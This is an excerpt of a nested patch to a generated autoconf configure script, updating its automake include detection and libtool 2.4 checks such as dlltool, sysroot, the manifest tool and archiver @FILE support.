++echo '.include "confinc.mk" # ignored' > confmf.BSD
++# Other make implementations (GNU, Solaris 10, AIX) do it like this.
++echo 'include confinc.mk # ignored' > confmf.GNU
++_am_result=no
++for s in GNU BSD; do
++ { echo "$as_me:$LINENO: ${MAKE-make} -f confmf.$s && cat confinc.out" >&5
++ (${MAKE-make} -f confmf.$s && cat confinc.out) >&5 2>&5
++ ac_status=$?
++ echo "$as_me:$LINENO: \$? = $ac_status" >&5
++ (exit $ac_status); }
++ case $?:`cat confinc.out 2>/dev/null` in #(
++ '0:this is the am__doit target') :
++ case $s in #(
++ BSD) :
++ am__include='.include' am__quote='"' ;; #(
++ *) :
++ am__include='include' am__quote='' ;;
++esac ;; #(
++ *) :
+ ;;
+- esac
+-fi
+-
+-
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $_am_result" >&5
+-$as_echo "$_am_result" >&6; }
+-rm -f confinc confmf
++esac
++ if test "$am__include" != "#"; then
++ _am_result="yes ($s style)"
++ break
++ fi
++done
++rm -f confinc.* confmf.*
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ${_am_result}" >&5
++$as_echo "${_am_result}" >&6; }
+
+ # Check whether --enable-dependency-tracking was given.
+ if test "${enable_dependency_tracking+set}" = set; then :
+@@ -4186,8 +4189,8 @@ MAKEINFO=${MAKEINFO-"${am_missing_run}makeinfo"}
+
+ # For better backward compatibility. To be removed once Automake 1.9.x
+ # dies out for good. For more background, see:
+-# <http://lists.gnu.org/archive/html/automake/2012-07/msg00001.html>
+-# <http://lists.gnu.org/archive/html/automake/2012-07/msg00014.html>
++# <https://lists.gnu.org/archive/html/automake/2012-07/msg00001.html>
++# <https://lists.gnu.org/archive/html/automake/2012-07/msg00014.html>
+ mkdir_p='$(MKDIR_P)'
+
+ # We need awk for the "check" target (and possibly the TAP driver). The
+@@ -4334,6 +4337,20 @@ else
+ fi
+
+
++# Variables for tags utilities; see am/tags.am
++if test -z "$CTAGS"; then
++ CTAGS=ctags
++fi
++
++if test -z "$ETAGS"; then
++ ETAGS=etags
++fi
++
++if test -z "$CSCOPE"; then
++ CSCOPE=cscope
++fi
++
++
+
+ # POSIX will say in a future version that running "rm -f" with no argument
+ # is OK; and we want to be able to make that assumption in our Makefile
+@@ -4366,7 +4383,7 @@ END
+ Aborting the configuration process, to ensure you take notice of the issue.
+
+ You can download and install GNU coreutils to get an 'rm' implementation
+-that behaves properly: <http://www.gnu.org/software/coreutils/>.
++that behaves properly: <https://www.gnu.org/software/coreutils/>.
+
+ If you want to complete the configuration process using your problematic
+ 'rm' anyway, export the environment variable ACCEPT_INFERIOR_RM_PROGRAM
+@@ -5351,8 +5368,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -5463,7 +5480,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -6156,8 +6173,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -6206,6 +6223,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -6222,6 +6313,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -6390,7 +6486,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -6549,6 +6646,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -6564,6 +6676,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -6578,8 +6841,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -6595,7 +6860,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6615,11 +6880,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -6635,7 +6904,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6654,6 +6923,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -6665,29 +6938,81 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
++
++
++
++
++
++
++
+
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
++
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
+
+
+
+@@ -7034,8 +7359,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -7071,6 +7396,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -7112,6 +7438,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -7123,7 +7461,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -7149,8 +7487,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -7160,8 +7498,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -7198,6 +7536,16 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
++
++
+
+
+
+@@ -7214,6 +7562,45 @@ fi
+
+
+
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
+
+
+
+@@ -7419,11 +7806,128 @@ sparc*-*solaris*)
+ ;;
+ esac
+ fi
+- rm -rf conftest*
+- ;;
++ rm -rf conftest*
++ ;;
++esac
++
++need_locks="$enable_libtool_lock"
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
+ esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
+
+-need_locks="$enable_libtool_lock"
+
+
+ case $host_os in
+@@ -7988,6 +8492,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -8542,8 +9048,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -8709,6 +9213,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
